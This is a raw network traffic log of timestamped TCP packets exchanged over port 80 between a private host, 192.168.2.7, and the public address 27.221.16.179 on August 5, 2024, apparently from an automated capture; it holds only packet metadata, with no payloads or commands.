Aug 5, 2024 12:01:38.713917017 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:38.713934898 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:38.767241955 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.065726995 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.065751076 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.065767050 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.065783024 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.065803051 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.065818071 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.065834045 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.065833092 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.065854073 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.065896988 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.065958023 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.065973043 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.065989017 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.066004992 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.066035986 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.066065073 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.066103935 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.066241980 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.066278934 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.066436052 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.066452980 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.066468954 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.066483974 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.066493988 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.066499949 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.066514969 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.066515923 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.066557884 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.066819906 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.066836119 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.066860914 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.066874981 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.066890955 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.066890955 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.066906929 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.066910982 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.066922903 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.066939116 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.066946030 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.066989899 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.150769949 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.204668999 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.407404900 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.407429934 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.407457113 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.407512903 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.407530069 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.407537937 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.407546997 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.407583952 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.407583952 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.407645941 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.407813072 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.407856941 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.407984018 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.407999992 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.408020020 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.408039093 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.408041000 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.408076048 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.408298016 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.408314943 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.408360958 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.408446074 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.408617973 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.408633947 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.408651114 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.408660889 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.408693075 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.408775091 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.408791065 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.408807039 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.408830881 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.409269094 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.409285069 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.409302950 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.409326077 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.409349918 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.409451008 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.409466982 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.409483910 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.409517050 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.409606934 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.409624100 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.409656048 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.409768105 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.409785032 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.409816980 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.410223961 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.410239935 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.410257101 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.410273075 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.410299063 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.697642088 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.697669029 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.697689056 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.697755098 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.697757959 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.697771072 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.697788000 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.697804928 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.697808027 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.697834969 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.698014975 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.698029995 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.698048115 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.698060989 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.698065042 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.698091030 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.698213100 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.698262930 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.698266029 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.698281050 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.698318958 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.698357105 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.698374033 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.698411942 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.698517084 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.698532104 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.698545933 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.698561907 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.698574066 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.698580027 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.698601007 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.698790073 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.698813915 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.698828936 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.698837042 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.698846102 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.698873043 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.699172974 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.699218035 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.699228048 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.699244022 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.699284077 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.699398994 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.699413061 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.699429035 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.699445963 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.699450970 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.699493885 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:39.699626923 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.699642897 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:39.699682951 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.012528896 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.012567997 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.012592077 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.012608051 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.012650013 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.012665987 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.012674093 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.012684107 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.012708902 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.012878895 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.012893915 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.012911081 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.012926102 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.012927055 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.012944937 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.012948990 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.012962103 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.012978077 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.012994051 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.012995005 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.013020992 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.013397932 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.013412952 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.013428926 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.013446093 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.013448954 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.013465881 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.013475895 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.013483047 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.013498068 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.013504028 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.013514996 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.013530970 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.013545990 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.013561010 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.013858080 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.013874054 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.013927937 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.013991117 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.014007092 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.014023066 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.014045000 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.014226913 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.014240980 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.014256954 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.014272928 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.014272928 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.014288902 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.014293909 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.014305115 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.014322996 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.014559984 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.014576912 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.014596939 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.014605045 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.014631033 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.380467892 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.380626917 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.380644083 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.380707026 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.380788088 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.380805969 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.380821943 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.380832911 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.380858898 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.380975962 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.380990982 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.381006956 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.381022930 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.381036043 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.381064892 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.381298065 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.381313086 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.381352901 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.381468058 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.381484985 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.381524086 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.381634951 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.381650925 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.381665945 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.381681919 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.381685019 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.381697893 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.381721020 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.381961107 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.381975889 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.381999969 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.382119894 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.382157087 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.382160902 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.382177114 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.382191896 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.382206917 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.382210970 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.382224083 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.382239103 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.382241964 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.382283926 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.382669926 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.382684946 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.382702112 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.382721901 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.382847071 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.382862091 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.382878065 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.382884979 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.382893085 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.382910967 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.383166075 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.383181095 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.383198023 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.383205891 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.383213997 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.383229971 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.383236885 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.383266926 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.450584888 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.501446009 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.704467058 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.704494953 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.704504967 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.704591036 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.704632044 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.704643965 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.704654932 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.704677105 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.704680920 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.704690933 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.704854012 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.704900026 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.704931021 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.704948902 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.704962969 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.704988956 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.705156088 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.705192089 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.705257893 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.705271006 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.705308914 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.705400944 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.705411911 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.705424070 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.705435991 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.705449104 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.705472946 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.705562115 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.705653906 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.705666065 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.705688000 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.706068039 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706079960 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706089973 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706101894 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706113100 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.706114054 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706126928 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706135988 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.706167936 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.706188917 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706226110 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.706244946 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706258059 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706294060 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.706393003 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706404924 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706418037 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706440926 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.706607103 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706618071 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706629992 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706641912 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706643105 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.706655979 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706667900 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706667900 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.706691980 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.706938028 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706949949 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.706973076 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.707173109 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.707209110 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.707418919 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.707431078 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.707458019 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:40.707465887 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:40.707469940 CEST	80	49905	27.221.16.179	192.168.2.7
